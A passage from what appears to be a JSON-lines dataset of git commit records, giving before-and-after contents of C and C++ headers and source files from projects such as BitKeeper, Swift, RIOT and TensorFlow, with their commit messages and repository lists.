linux\n","lang":"C","license":"mit","repos":"GiGurra\/drunken_walker,GiGurra\/drunken_walker,GiGurra\/drunken_walker,GiGurra\/drunken_walker,GiGurra\/drunken_walker"}
{"commit":"6d5fabbdb3b2f9e81ad75c93c0b238fa0a6e14fa","old_file":"MWEditorAddOns\/MTextAddOn.h","new_file":"MWEditorAddOns\/MTextAddOn.h","old_contents":"\/\/==================================================================\n\/\/\tMTextAddOn.h\n\/\/\tCopyright 1996  Metrowerks Corporation, All Rights Reserved.\n\/\/==================================================================\n\/\/\tThis is a proxy class used by Editor add_ons.  It does not inherit from BView\n\/\/\tbut provides an abstract interface to a text engine.\n \n#ifndef _MTEXTADDON_H\n#define _MTEXTADDON_H\n\n#include <SupportKit.h>\n\nclass MIDETextView;\nclass BWindow;\nstruct entry_ref;\n\n\nclass MTextAddOn\n{\npublic:\n\t\t\t\t\t\t\t\tMTextAddOn(\n\t\t\t\t\t\t\t\t\tMIDETextView&\tinTextView);\n\tvirtual\t\t\t\t\t\t~MTextAddOn();\n\tvirtual\tconst char*\t\t\tText();\n\tvirtual\tint32\t\t\t\tTextLength() const;\n\tvirtual\tvoid\t\t\t\tGetSelection(\n\t\t\t\t\t\t\t\t\tint32 *start, \n\t\t\t\t\t\t\t\t\tint32 *end) const;\n\tvirtual\tvoid\t\t\t\tSelect(\n\t\t\t\t\t\t\t\t\tint32 newStart, \n\t\t\t\t\t\t\t\t\tint32 newEnd);\n\tvirtual void\t\t\t\tDelete();\n\tvirtual void\t\t\t\tInsert(\n\t\t\t\t\t\t\t\t\tconst char* inText);\n\tvirtual void\t\t\t\tInsert(\n\t\t\t\t\t\t\t\t\tconst char* text, \n\t\t\t\t\t\t\t\t\tint32 length);\n\n\tvirtual\tBWindow*\t\t\tWindow();\n\tvirtual status_t\t\t\tGetRef(\n\t\t\t\t\t\t\t\t\tentry_ref&\toutRef);\n\tvirtual bool\t\t\t\tIsEditable();\n\t\nprivate:\n\n\tMIDETextView&\t\t\t\tfText;\n};\n\n#endif\n","new_contents":"\/\/ [zooey, 2005]: made MTextAddon really an abstract class\n\/\/==================================================================\n\/\/\tMTextAddOn.h\n\/\/\tCopyright 1996  Metrowerks Corporation, All Rights Reserved.\n\/\/==================================================================\n\/\/\tThis is a proxy class used by Editor add_ons.  It does not inherit from BView\n\/\/\tbut provides an abstract interface to a text engine.\n \n#ifndef MTEXTADDON_H\n#define MTEXTADDON_H\n\n\/\/#include \"HLibHekkel.h\"\n\nclass BWindow;\nstruct entry_ref;\n\nclass \/*IMPEXP_LIBHEKKEL*\/ MTextAddOn\n{\npublic:\n\tvirtual\t\t\t\t\t\t~MTextAddOn();\n\tvirtual\tconst char*\t\t\tText() = 0;\n\tvirtual\tint32\t\t\t\tTextLength() const = 0;\n\tvirtual\tvoid\t\t\t\tGetSelection(int32 *start, int32 *end) const = 0;\n\tvirtual\tvoid\t\t\t\tSelect(int32 newStart, int32 newEnd) = 0;\n\tvirtual void\t\t\t\tDelete() = 0;\n\tvirtual void\t\t\t\tInsert(const char* inText) = 0;\n\tvirtual void\t\t\t\tInsert(const char* text, int32 length) = 0;\n\n\tvirtual\tBWindow*\t\t\tWindow() = 0;\n\tvirtual status_t\t\t\tGetRef(entry_ref& outRef) = 0;\n};\n\n#if !__INTEL__\n#pragma export on\n#endif\nextern \"C\" {\nlong perform_edit(MTextAddOn *addon);\n}\n#if !__INTEL__\n#pragma export reset\n#endif\n\ntypedef long (*perform_edit_func)(MTextAddOn *addon);\n\n#endif\n","subject":"Replace BeIDE header by the Pe version","message":"Replace BeIDE header by the Pe version\n\nWe won't be building for BeIDE anyway...\n","lang":"C","license":"mit","repos":"mmuman\/dontworry,mmuman\/dontworry"}
{"commit":"ed753c358e9b27571f6be5f33b25cbe0738f0e36","old_file":"src\/libc\/utils\/efopen.c","new_file":"src\/libc\/utils\/efopen.c","old_contents":"#include \"system.h\"\n\nFILE *\nefopen(char *env)\n{\n\tchar\t*t, *p;\n\tint\tport, sock;\n\n\tunless (t = getenv(env)) return (0);\n\tif (IsFullPath(t)) return (fopen(t, \"a\"));\n\tif ((p = strchr(t, ':')) && ((port = atoi(p+1)) > 0)) {\n\t\t*p = 0;\n\t\tsock = tcp_connect(t, port);\n\t\treturn (fdopen(sock, \"w\"));\n\t}\n\treturn (fopen(DEV_TTY, \"w\"));\n}\n","new_contents":"#include \"system.h\"\n\nFILE *\nefopen(char *env)\n{\n\tchar\t*t, *p;\n\tint\tport, sock;\n\n\tunless (t = getenv(env)) return (0);\n\tif (IsFullPath(t)) return (fopen(t, \"a\"));\n\tif ((p = strchr(t, ':')) && ((port = atoi(p+1)) > 0)) {\n\t\t*p = 0;\n\t\tsock = tcp_connect(t, port);\n\t\t*p = ':';\n\t\tif (sock >= 0) return (fdopen(sock, \"w\"));\n\t}\n\treturn (fopen(DEV_TTY, \"w\"));\n}\n","subject":"Fix a bug where we stomp on the : in a host:port in BK_SHOWPROC Also don't assume the socket connected.","message":"Fix a bug where we stomp on the : in a host:port in BK_SHOWPROC\nAlso don't assume the socket connected.\n\nbk: 44b822c06FCnb1Sd2dJJIybq98XuEw","lang":"C","license":"apache-2.0","repos":"bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper"}
{"commit":"4471aecefd4d31d1507968300b978c6a6237e157","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"#ifndef _CONFIG_H\n#define _CONFIG_H\n\n#define ENABLE_FUTILITY_DEPTH 1  \/\/ TODO: switch to at least 2\n#define ENABLE_HISTORY 1\n#define ENABLE_KILLERS 1\n#define ENABLE_LMR 1\n#define ENABLE_NNUE 0\n#define ENABLE_NULL_MOVE_PRUNING 1\n#define ENABLE_REVERSE_FUTILITY_DEPTH 1  \/\/ TODO: switch to at least 2\n#define ENABLE_SEE_Q_PRUNE_LOSING_CAPTURES 0\n#define ENABLE_SEE_SORTING 0\n#define ENABLE_TIMER_STOP_DEEPENING 1\n#define ENABLE_TT_CUTOFFS 1\n#define ENABLE_TT_MOVES 1\n\n#endif\n","new_contents":"#ifndef _CONFIG_H\n#define _CONFIG_H\n\n#define ENABLE_FUTILITY_DEPTH 1  \/\/ TODO: switch to at least 2\n#define ENABLE_HISTORY 1\n#define ENABLE_KILLERS 1\n#define ENABLE_LMR 1\n#define ENABLE_NNUE 0\n#define ENABLE_NULL_MOVE_PRUNING 1\n#define ENABLE_REVERSE_FUTILITY_DEPTH 1  \/\/ TODO: switch to at least 2\n#define ENABLE_SEE_Q_PRUNE_LOSING_CAPTURES 1\n#define ENABLE_SEE_SORTING 1\n#define ENABLE_TIMER_STOP_DEEPENING 1\n#define ENABLE_TT_CUTOFFS 1\n#define ENABLE_TT_MOVES 1\n\n#endif\n","subject":"Enable pruning losing captures in qsearch","message":"Enable pruning losing captures in qsearch\n","lang":"C","license":"bsd-3-clause","repos":"jwatzman\/nameless-chessbot,jwatzman\/nameless-chessbot"}
{"commit":"f1b1720769e346cc2a619f80191e380619421669","old_file":"stdlib\/public\/SwiftShims\/UIKitOverlayShims.h","new_file":"stdlib\/public\/SwiftShims\/UIKitOverlayShims.h","old_contents":"\/\/===--- UIKitOverlayShims.h ---===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===--------------------===\/\/\n\n#ifndef SWIFT_STDLIB_SHIMS_UIKIT_OVERLAY_H\n#define SWIFT_STDLIB_SHIMS_UIKIT_OVERLAY_H\n\n@import UIKit;\n\n#if __has_feature(nullability)\n#pragma clang assume_nonnull begin\n#endif\n\n#if TARGET_OS_TV || TARGET_OS_IOS\nstatic inline BOOL _swift_UIKit_UIFocusEnvironmentContainsEnvironment(id<UIFocusEnvironment> environment, id<UIFocusEnvironment> otherEnvironment) {\n  return [UIFocusSystem environment:environment containsEnvironment:otherEnvironment];\n}\n#endif \/\/ TARGET_OS_TV || TARGET_OS_IOS\n\n#if __has_feature(nullability)\n#pragma clang assume_nonnull end\n#endif\n\n\n#endif \/\/ SWIFT_STDLIB_SHIMS_UIKIT_OVERLAY_H\n\n","new_contents":"\/\/===--- UIKitOverlayShims.h ---===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===--------------------===\/\/\n\n#ifndef SWIFT_STDLIB_SHIMS_UIKIT_OVERLAY_H\n#define SWIFT_STDLIB_SHIMS_UIKIT_OVERLAY_H\n\n@import UIKit;\n\n#if __has_feature(nullability)\n#pragma clang assume_nonnull begin\n#endif\n\n#if TARGET_OS_TV || TARGET_OS_IOS\nstatic inline BOOL _swift_UIKit_UIFocusEnvironmentContainsEnvironment(\n  id<UIFocusEnvironment> environment,\n  id<UIFocusEnvironment> otherEnvironment\n) API_AVAILABLE(ios(11.0), tvos(11.0)) {\n  return [UIFocusSystem environment:environment containsEnvironment:otherEnvironment];\n}\n#endif \/\/ TARGET_OS_TV || TARGET_OS_IOS\n\n#if __has_feature(nullability)\n#pragma clang assume_nonnull end\n#endif\n\n\n#endif \/\/ SWIFT_STDLIB_SHIMS_UIKIT_OVERLAY_H\n\n","subject":"Make the UIKit shim function properly available","message":"[overlay] Make the UIKit shim function properly available\n\n<rdar:\/\/problem\/33789760>\n","lang":"C","license":"apache-2.0","repos":"xwu\/swift,lorentey\/swift,swiftix\/swift,practicalswift\/swift,jckarter\/swift,apple\/swift,parkera\/swift,shajrawi\/swift,allevato\/swift,harlanhaskins\/swift,aschwaighofer\/swift,gregomni\/swift,shajrawi\/swift,CodaFi\/swift,lorentey\/swift,xedin\/swift,gregomni\/swift,gregomni\/swift,airspeedswift\/swift,shajrawi\/swift,practicalswift\/swift,devincoughlin\/swift,gregomni\/swift,uasys\/swift,apple\/swift,roambotics\/swift,xwu\/swift,brentdax\/swift,lorentey\/swift,airspeedswift\/swift,atrick\/swift,aschwaighofer\/swift,uasys\/swift,frootloops\/swift,allevato\/swift,huonw\/swift,swiftix\/swift,ahoppen\/swift,glessard\/swift,tjw\/swift,zisko\/swift,natecook1000\/swift,JGiola\/swift,tjw\/swift,danielmartin\/swift,austinzheng\/swift,practicalswift\/swift,glessard\/swift,austinzheng\/swift,alblue\/swift,gregomni\/swift,xedin\/swift,shajrawi\/swift,benlangmuir\/swift,devincoughlin\/swift,zisko\/swift,rudkx\/swift,ahoppen\/swift,JGiola\/swift,CodaFi\/swift,huonw\/swift,gribozavr\/swift,karwa\/swift,aschwaighofer\/swift,sschiau\/swift,parkera\/swift,rudkx\/swift,jopamer\/swift,gribozavr\/swift,nathawes\/swift,stephentyrone\/swift,hooman\/swift,alblue\/swift,gregomni\/swift,karwa\/swift,stephentyrone\/swift,amraboelela\/swift,CodaFi\/swift,alblue\/swift,devincoughlin\/swift,rudkx\/swift,zisko\/swift,aschwaighofer\/swift,roambotics\/swift,stephentyrone\/swift,roambotics\/swift,JGiola\/swift,apple\/swift,jopamer\/swift,shahmishal\/swift,lorentey\/swift,frootloops\/swift,devincoughlin\/swift,airspeedswift\/swift,uasys\/swift,jckarter\/swift,hooman\/swift,frootloops\/swift,danielmartin\/swift,nathawes\/swift,jmgc\/swift,brentdax\/swift,tkremenek\/swift,amraboelela\/swift,OscarSwanros\/swift,swiftix\/swift,uasys\/swift,benlangmuir\/swift,glessard\/swift,danielmartin\/swift,shahmishal\/swift,harlanhaskins\/swift,frootloops\/swift,OscarSwanros\/swift,gribozavr\/swift,rudkx\/swift,nathawes\/swift,jopamer\/swift,gribozavr\/swift,frootloops\/swift,huonw\/swift,OscarSwanros\/swift,sschiau\/swift,rudkx\/swift,harlanhaskins\/swift,stephentyrone\/swift,roambotics\/swift,ahoppen\/swift,alblue\/swift,tkremenek\/swift,aschwaighofer\/swift,austinzheng\/swift,danielmartin\/swift,sschiau\/swift,harlanhaskins\/swift,xedin\/swift,stephentyrone\/swift,ahoppen\/swift,lorentey\/swift,airspeedswift\/swift,allevato\/swift,brentdax\/swift,shajrawi\/swift,CodaFi\/swift,ahoppen\/swift,austinzheng\/swift,shajrawi\/swift,sschiau\/swift,JGiola\/swift,airspeedswift\/swift,xwu\/swift,nathawes\/swift,xedin\/swift,practicalswift\/swift,xedin\/swift,stephentyrone\/swift,tkremenek\/swift,shahmishal\/swift,practicalswift\/swift,jopamer\/swift,sschiau\/swift,jmgc\/swift,airspeedswift\/swift,rudkx\/swift,karwa\/swift,gribozavr\/swift,jmgc\/swift,natecook1000\/swift,lorentey\/swift,parkera\/swift,allevato\/swift,shahmishal\/swift,jckarter\/swift,alblue\/swift,uasys\/swift,tjw\/swift,tkremenek\/swift,hooman\/swift,gribozavr\/swift,benlangmuir\/swift,apple\/swift,uasys\/swift,huonw\/swift,apple\/swift,tkremenek\/swift,jmgc\/swift,CodaFi\/swift,stephentyrone\/swift,atrick\/swift,amraboelela\/swift,lorentey\/swift,tjw\/swift,huonw\/swift,zisko\/swift,tkremenek\/swift,practicalswift\/swift,shahmishal\/swift,jckarter\/swift,huonw\/swift,practicalswift\/swift,jckarter\/swift,devincoughlin\/swift,natecook1000\/swift,xwu\/swift,atrick\/swift,swiftix\/swift,hooman\/swift,zisko\/swift,nathawes\/swift,brentdax\/swift,alblue\/swift,huonw\/swift,benlangmuir\/swift,roambotics\/swift,hooman\/swift,amraboelela\/swift,OscarSwanros\/swift,benlangmuir\/swift,gribozavr\/swift,glessard\/swift,xwu\/swift,hooman\/swift,xedin\/swift,brentdax\/swift,harlanhaskins\/swift,atrick\/swift,jmgc\/swift,allevato\/swift,lorentey\/swift,parkera\/swift,danielmartin\/swift,devincoughlin\/swift,CodaFi\/swift,tkremenek\/swift,jmgc\/swift,karwa\/swift,parkera\/swift,alblue\/swift,roambotics\/swift,natecook1000\/swift,zisko\/swift,amraboelela\/swift,tjw\/swift,uasys\/swift,parkera\/swift,shahmishal\/swift,austinzheng\/swift,danielmartin\/swift,swiftix\/swift,apple\/swift,swiftix\/swift,frootloops\/swift,gribozavr\/swift,karwa\/swift,nathawes\/swift,benlangmuir\/swift,ahoppen\/swift,shahmishal\/swift,karwa\/swift,atrick\/swift,sschiau\/swift,jopamer\/swift,natecook1000\/swift,nathawes\/swift,OscarSwanros\/swift,airspeedswift\/swift,xedin\/swift,xwu\/swift,JGiola\/swift,glessard\/swift,allevato\/swift,JGiola\/swift,brentdax\/swift,jckarter\/swift,austinzheng\/swift,xwu\/swift,tjw\/swift,xedin\/swift,harlanhaskins\/swift,harlanhaskins\/swift,parkera\/swift,atrick\/swift,natecook1000\/swift,jopamer\/swift,jckarter\/swift,jopamer\/swift,OscarSwanros\/swift,sschiau\/swift,aschwaighofer\/swift,danielmartin\/swift,parkera\/swift,devincoughlin\/swift,devincoughlin\/swift,shajrawi\/swift,tjw\/swift,jmgc\/swift,aschwaighofer\/swift,allevato\/swift,sschiau\/swift,OscarSwanros\/swift,glessard\/swift,karwa\/swift,swiftix\/swift,brentdax\/swift,shahmishal\/swift,zisko\/swift,frootloops\/swift,shajrawi\/swift,amraboelela\/swift,natecook1000\/swift,austinzheng\/swift,CodaFi\/swift,hooman\/swift,amraboelela\/swift,karwa\/swift,practicalswift\/swift"}
{"commit":"f1c1d7f0c28424d218fdff65705118b19d3681d8","old_file":"src\/Square.h","new_file":"src\/Square.h","old_contents":"#ifndef SQUARE_H_\n#define SQUARE_H_\n\nnamespace flat2d\n{\n\tclass Square\n\t{\n\t\tprotected:\n\t\t\tint x, y, w, h;\n\n\t\tpublic:\n\t\t\tSquare(int px, int py, int dim) : x(px), y(py), w(dim), h(dim) { }\n\t\t\tSquare(int px, int py, int pw, int ph) : x(px), y(py), w(pw), h(ph) { }\n\n\t\t\tbool containsPoint(int, int) const;\n\n\t\t\tbool operator<(const Square&) const;\n\t\t\tbool operator==(const Square&) const;\n\t\t\tbool operator!=(const Square&) const;\n\t};\n} \/\/ namespace flat2d\n#endif \/\/ SQUARE_H_\n","new_contents":"#ifndef SQUARE_H_\n#define SQUARE_H_\n\nnamespace flat2d\n{\n\tclass Square\n\t{\n\t\tprotected:\n\t\t\tint x, y, w, h;\n\n\t\tpublic:\n\t\t\tSquare(int px, int py, int dim) : x(px), y(py), w(dim), h(dim) { }\n\t\t\tSquare(int px, int py, int pw, int ph) : x(px), y(py), w(pw), h(ph) { }\n\n\t\t\tbool containsPoint(int, int) const;\n\n\t\t\tbool operator<(const Square&) const;\n\t\t\tbool operator==(const Square&) const;\n\t\t\tbool operator!=(const Square&) const;\n\n\t\t\tint getXpos() { return x; }\n\t\t\tint getYpos() { return y; }\n\t\t\tint getWidth() { return w; }\n\t\t\tint getHeight() { return h; }\n\t};\n} \/\/ namespace flat2d\n#endif \/\/ SQUARE_H_\n","subject":"Make square position and dimension accessible","message":"Make square position and dimension accessible\n","lang":"C","license":"mit","repos":"LiquidityC\/flat"}
{"commit":"d582802aaf0400c4ca4a5832e63492860d8daa70","old_file":"boards\/wizzimote\/include\/periph_conf.h","new_file":"boards\/wizzimote\/include\/periph_conf.h","old_contents":"#ifndef PERIPH_CONF_H\n#define PERIPH_CONF_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n * @brief Real Time Clock configuration\n *\/\n#define RTC_NUMOF           (1)\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* PERIPH_CONF_H *\/","new_contents":"#ifndef PERIPH_CONF_H\n#define PERIPH_CONF_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n * @brief Real Time Clock configuration\n * @{\n *\/\n#define RTC_NUMOF           (1)\n\/** @} *\/\n\n\n\/**\n * @brief Timer configuration\n * @{\n *\/\n#define TIMER_NUMOF         (2U)\n#define TIMER_0_EN          1\n#define TIMER_1_EN          1\n\n\/* Timer 0 configuration *\/\n#define TIMER_0_CHANNELS    5\n#define TIMER_0_MAX_VALUE   (0xffff)\n\/* TODO(ximus): Finalize this, current setup is not provide 1Mhz *\/\n#define TIMER_0_CLK_TASSEL  TASSEL_2 \/* SMLCK @ Mhz *\/\n#define TIMER_0_DIV_ID      ID__1     \/* \/1 *\/\n#define TIMER_0_DIV_TAIDEX  TAIDEX_4  \/* \/5 *\/\n\n\/* Timer 1 configuration *\/\n#define TIMER_1_CHANNELS    3\n#define TIMER_1_MAX_VALUE   (0xffff)\n#define TIMER_1_CLK_TASSEL  TASSEL_2 \/* SMLCK @ Mhz *\/\n#define TIMER_1_DIV_ID      ID__1     \/* \/1 *\/\n#define TIMER_1_DIV_TAIDEX  TAIDEX_4  \/* \/5 *\/\n\/** @} *\/\n\n\n\/**\n * @brief wtimer configuration\n * @{\n *\/\n\/* NOTE(ximus): all msp430's are 16-bit, should be defined in cpu *\/\n#define WTIMER_MASK 0xffff0000 \/* 16-bit timers *\/\n\/* TODO(ximus): set these correctly. default values for now *\/\n#define WTIMER_USLEEP_UNTIL_OVERHEAD 3\n#define WTIMER_OVERHEAD 24\n#define WTIMER_BACKOFF 30\n\/** @} *\/\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* PERIPH_CONF_H *\/","subject":"Update wizzimote timer periph config","message":"Update wizzimote timer periph config\n","lang":"C","license":"lgpl-2.1","repos":"ximus\/RIOT,ximus\/RIOT,ximus\/RIOT,ximus\/RIOT,ximus\/RIOT,ximus\/RIOT"}
{"commit":"08a32f1488d732ddef8d4a070f27a70695729cc2","old_file":"tensorflow\/core\/platform\/hexagon\/gemm_wrapper.h","new_file":"tensorflow\/core\/platform\/hexagon\/gemm_wrapper.h","old_contents":"","new_contents":"\/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_PLATFORM_HEXAGON_GEMM_WRAPPER_H_\n#define TENSORFLOW_PLATFORM_HEXAGON_GEMM_WRAPPER_H_\n\n\/\/ Declaration of APIs provided by hexagon shared library. This header is shared\n\/\/ with both hexagon library built with qualcomm SDK and tensorflow.\n\/\/ All functions defined here must have prefix \"hexagon_gemm_wrapper\" to avoid\n\/\/ naming conflicts.\n#ifdef __cplusplus\nextern \"C\" {\n#endif  \/\/ __cplusplus\n\/\/ Returns the version of loaded hexagon shared library. Assert if the version\n\/\/ matches the expected version.\nint hexagon_gemm_wrapper_GetVersion();\n\/\/ TODO(satok): Support gemm APIs via RPC\n#ifdef __cplusplus\n}\n#endif  \/\/ __cplusplus\n\n#endif  \/\/ TENSORFLOW_PLATFORM_HEXAGON_GEMM_WRAPPER_H_\n","subject":"Add a header for hexagon shared library Change: 130671228","message":"Add a header for hexagon shared library\nChange: 130671228\n","lang":"C","license":"apache-2.0","repos":"whn09\/tensorflow,strint\/tensorflow,mengxn\/tensorflow,Kongsea\/tensorflow,code-sauce\/tensorflow,sjperkins\/tensorflow,rabipanda\/tensorflow,nburn42\/tensorflow,gojira\/tensorflow,Mistobaan\/tensorflow,cancan101\/tensorflow,bowang\/tensorflow,zasdfgbnm\/tensorflow,XueqingLin\/tensorflow,bowang\/tensorflow,apark263\/tensorflow,mortada\/tensorflow,arborh\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,gojira\/tensorflow,sandeepgupta2k4\/tensorflow,jendap\/tensorflow,martinwicke\/tensorflow,jhaux\/tensorflow,ppwwyyxx\/tensorflow,rdipietro\/tensorflow,Xeralux\/tensorflow,martinwicke\/tensorflow,handroissuazo\/tensorflow,suiyuan2009\/tensorflow,bowang\/tensorflow,HKUST-SING\/tensorflow,martinwicke\/tensorflow,alivecor\/tensorflow,frreiss\/tensorflow-fred,lakshayg\/tensorflow,juharris\/tensorflow,nolanliou\/tensorflow,ArtsiomCh\/tensorflow,tntnatbry\/tensorflow,whn09\/tensorflow,ran5515\/DeepDecision,AnishShah\/tensorflow,alheinecke\/tensorflow-xsmm,karllessard\/tensorflow,brchiu\/tensorflow,LUTAN\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,SnakeJenny\/TensorFlow,Bismarrck\/tensorflow,code-sauce\/tensorflow,jendap\/tensorflow,jostep\/tensorflow,anand-c-goog\/tensorflow,HKUST-SING\/tensorflow,ageron\/tensorflow,sjperkins\/tensorflow,gautam1858\/tensorflow,mavenlin\/tensorflow,davidzchen\/tensorflow,tomasreimers\/tensorflow-emscripten,adit-chandra\/tensorflow,meteorcloudy\/tensorflow,Mazecreator\/tensorflow,ageron\/tensorflow,mixturemodel-flow\/tensorflow,mavenlin\/tensorflow,adit-chandra\/tensorflow,calebfoss\/tensorflow,av8ramit\/tensorflow,benoitsteiner\/tensorflow-xsmm,SnakeJenny\/TensorFlow,Intel-tensorflow\/tensorflow,jhaux\/tensorflow,yongtang\/tensorflow,chris-chris\/tensorflow,a-doumoulakis\/tensorflow,jostep\/tensorflow,hfp\/tensorflow-xsmm,nolanliou\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,seanli9jan\/tensorflow,aselle\/tensorflow,dongjoon-hyun\/tensorflow,tiagofrepereira2012\/tensorflow,code-sauce\/tensorflow,Intel-Corporation\/tensorflow,zasdfgbnm\/tensorflow,rabipanda\/tensorflow,ravindrapanda\/tensorflow,scenarios\/tensorflow,eadgarchen\/tensorflow,Xeralux\/tensorflow,yufengg\/tensorflow,Bismarrck\/tensorflow,mrry\/tensorflow,pcm17\/tensorflow,mrry\/tensorflow,HKUST-SING\/tensorflow,jhseu\/tensorflow,johndpope\/tensorflow,zasdfgbnm\/tensorflow,benoitsteiner\/tensorflow,Bismarrck\/tensorflow,jhaux\/tensorflow,nolanliou\/tensorflow,wangyum\/tensorflow,llhe\/tensorflow,seanli9jan\/tensorflow,hsaputra\/tensorflow,Xeralux\/tensorflow,odejesush\/tensorflow,neilhan\/tensorflow,Mazecreator\/tensorflow,ychfan\/tensorflow,kobejean\/tensorflow,llhe\/tensorflow,ArtsiomCh\/tensorflow,benoitsteiner\/tensorflow-xsmm,aam-at\/tensorflow,whn09\/tensorflow,tillahoffmann\/tensorflow,nightjean\/Deep-Learning,horance-liu\/tensorflow,rabipanda\/tensorflow,snnn\/tensorflow,xzturn\/tensorflow,seaotterman\/tensorflow,abhitopia\/tensorflow,thjashin\/tensorflow,aldian\/tensorflow,ibmsoe\/tensorflow,tensorflow\/tensorflow,dendisuhubdy\/tensorflow,mengxn\/tensorflow,HKUST-SING\/tensorflow,strint\/tensorflow,Intel-Corporation\/tensorflow,sjperkins\/tensorflow,cxxgtxy\/tensorflow,manipopopo\/tensorflow,thesuperzapper\/tensorflow,hsaputra\/tensorflow,chris-chris\/tensorflow,anilmuthineni\/tensorflow,XueqingLin\/tensorflow,manjunaths\/tensorflow,MycChiu\/tensorflow,maciekcc\/tensorflow,admcrae\/tensorflow,allenlavoie\/tensorflow,alsrgv\/tensorflow,apark263\/tensorflow,karllessard\/tensorflow,lukeiwanski\/tensorflow-opencl,ville-k\/tensorflow,codrut3\/tensorflow,krikru\/tensorflow-opencl,petewarden\/tensorflow,krikru\/tensorflow-opencl,benoitsteiner\/tensorflow,johndpope\/tensorflow,manipopopo\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,sandeepdsouza93\/TensorFlow-15712,ghchinoy\/tensorflow,paolodedios\/tensorflow,XueqingLin\/tensorflow,whn09\/tensorflow,jendap\/tensorflow,caisq\/tensorflow,anand-c-goog\/tensorflow,XueqingLin\/tensorflow,jeffzheng1\/tensorflow,gunan\/tensorflow,aselle\/tensorflow,vrv\/tensorflow,ishay2b\/tensorflow,alsrgv\/tensorflow,markslwong\/tensorflow,freedomtan\/tensorflow,dendisuhubdy\/tensorflow,bowang\/tensorflow,dyoung418\/tensorflow,ageron\/tensorflow,dongjoon-hyun\/tensorflow,RapidApplicationDevelopment\/tensorflow,apark263\/tensorflow,yaroslavvb\/tensorflow,ran5515\/DeepDecision,snnn\/tensorflow,anilmuthineni\/tensorflow,ran5515\/DeepDecision,nburn42\/tensorflow,andrewcmyers\/tensorflow,nikste\/tensorflow,gojira\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,johndpope\/tensorflow,frreiss\/tensorflow-fred,jbedorf\/tensorflow,abhitopia\/tensorflow,ArtsiomCh\/tensorflow,a-doumoulakis\/tensorflow,krikru\/tensorflow-opencl,lakshayg\/tensorflow,gojira\/tensorflow,juharris\/tensorflow,kchodorow\/tensorflow,ppwwyyxx\/tensorflow,gautam1858\/tensorflow,memo\/tensorflow,alistairlow\/tensorflow,brchiu\/tensorflow,SnakeJenny\/TensorFlow,rdipietro\/tensorflow,Bulochkin\/tensorflow_pack,krikru\/tensorflow-opencl,maciekcc\/tensorflow,elingg\/tensorflow,raymondxyang\/tensorflow,code-sauce\/tensorflow,horance-liu\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,chenjun0210\/tensorflow,mengxn\/tensorflow,hsaputra\/tensorflow,vrv\/tensorflow,drpngx\/tensorflow,chemelnucfin\/tensorflow,av8ramit\/tensorflow,benoitsteiner\/tensorflow-xsmm,eaplatanios\/tensorflow,AnishShah\/tensorflow,sandeepdsouza93\/TensorFlow-15712,markslwong\/tensorflow,naturali\/tensorflow,with-git\/tensorflow,freedomtan\/tensorflow,caisq\/tensorflow,karllessard\/tensorflow,yaroslavvb\/tensorflow,yanchen036\/tensorflow,jwlawson\/tensorflow,benoitsteiner\/tensorflow-opencl,dyoung418\/tensorflow,anilmuthineni\/tensorflow,manipopopo\/tensorflow,alistairlow\/tensorflow,andrewcmyers\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,lukeiwanski\/tensorflow-opencl,pierreg\/tensorflow,tntnatbry\/tensorflow,raymondxyang\/tensorflow,bowang\/tensorflow,dancingdan\/tensorflow,LUTAN\/tensorflow,jhseu\/tensorflow,nburn42\/tensorflow,jhseu\/tensorflow,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,LUTAN\/tensorflow,AnishShah\/tensorflow,theflofly\/tensorflow,chenjun0210\/tensorflow,ppwwyyxx\/tensorflow,cancan101\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,xzturn\/tensorflow,DCSaunders\/tensorflow,adit-chandra\/tensorflow,aam-at\/tensorflow,yongtang\/tensorflow,Mistobaan\/tensorflow,Bulochkin\/tensorflow_pack,hfp\/tensorflow-xsmm,Intel-tensorflow\/tensorflow,pierreg\/tensorflow,Xeralux\/tensorflow,davidzchen\/tensorflow,ravindrapanda\/tensorflow,dendisuhubdy\/tensorflow,anilmuthineni\/tensorflow,ibmsoe\/te